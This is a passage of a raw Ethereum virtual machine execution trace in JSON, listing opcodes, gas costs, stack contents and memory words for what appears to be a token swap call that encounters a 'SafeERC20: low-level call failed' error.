e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12629,"op":"SWAP2","gas":19236,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12630,"op":"POP","gas":19233,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12631,"op":"POP","gas":19231,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12632,"op":"PUSH2","gas":19229,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12635,"op":"JUMP","gas":19226,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e88"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11912,"op":"JUMPDEST","gas":19218,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11913,"op":"PUSH1","gas":19217,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11915,"op":"DUP4","gas":19214,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11916,"op":"MLOAD","gas":19211,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11917,"op":"PUSH2","gas":19208,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11920,"op":"SWAP2","gas":19205,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0x2","0x2e96"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11921,"op":"SWAP1","gas":19202,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11922,"op":"PUSH2","gas":19199,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575c